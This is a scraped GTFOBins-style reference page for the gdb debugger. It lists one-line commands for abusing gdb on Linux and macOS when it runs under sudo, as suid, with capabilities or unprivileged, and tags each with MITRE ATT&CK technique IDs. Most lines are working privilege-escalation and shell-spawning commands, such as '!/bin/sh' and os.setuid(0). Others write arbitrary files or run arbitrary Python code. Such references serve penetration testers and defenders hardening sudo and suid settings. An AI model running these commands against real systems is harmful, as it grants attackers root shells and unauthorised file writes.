file-write File WritePrivilege Escalation LinuxmacOS gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit copy Contextsudo Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/gdb/
file-write File WritePrivilege Escalation LinuxmacOS gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit copy Contextsuid Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/gdb/
file-write File Write LinuxmacOS gdb -nx -ex 'dump value /path/to/output-file "DATA"' -ex quit copy Contextunprivileged Nativefile-write MITRET1565 Refsgtfobins.github.io/gtfobins/gdb/
inherit ← python File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege Escalation LinuxmacOS This allows to run Python code (`...`). gdb -nx -ex 'python ...' -ex quit copy Contextsudo Nativeinherit, from:python MITRET1105T1005T1565T1574T1059T1071T1041 Refsgtfobins.github.io/gtfobins/gdb/
inherit ← python File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile UploadPrivilege Escalation LinuxmacOS This allows to run Python code (`...`). gdb -nx -ex 'python ...' -ex quit copy Contextsuid Nativeinherit, from:python MITRET1105T1005T1565T1574T1059T1071T1041 Refsgtfobins.github.io/gtfobins/gdb/
inherit ← python File DownloadFile ReadFile WriteLibrary LoadReverse/Bind ShellExecutionFile Upload LinuxmacOS This allows to run Python code (`...`). gdb -nx -ex 'python ...' -ex quit copy Contextunprivileged Nativeinherit, from:python MITRET1105T1005T1565T1574T1059T1071T1041 Refsgtfobins.github.io/gtfobins/gdb/
shell ExecutionPrivilege Escalation LinuxmacOS gdb -nx -ex 'python import os; os.setuid(0)' -ex '!/bin/sh' -ex quit copy Contextcapabilities Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/gdb/
shell ExecutionPrivilege Escalation LinuxmacOS gdb -nx -ex '!/bin/sh' -ex quit copy Contextsudo Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/gdb/
shell ExecutionPrivilege Escalation LinuxmacOS gdb -nx -ex '!/bin/sh' -ex quit copy Contextsuid Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/gdb/
shell Execution LinuxmacOS gdb -nx -ex '!/bin/sh' -ex quit copy Contextunprivileged Nativeshell MITRET1059 Refsgtfobins.github.io/gtfobins/gdb/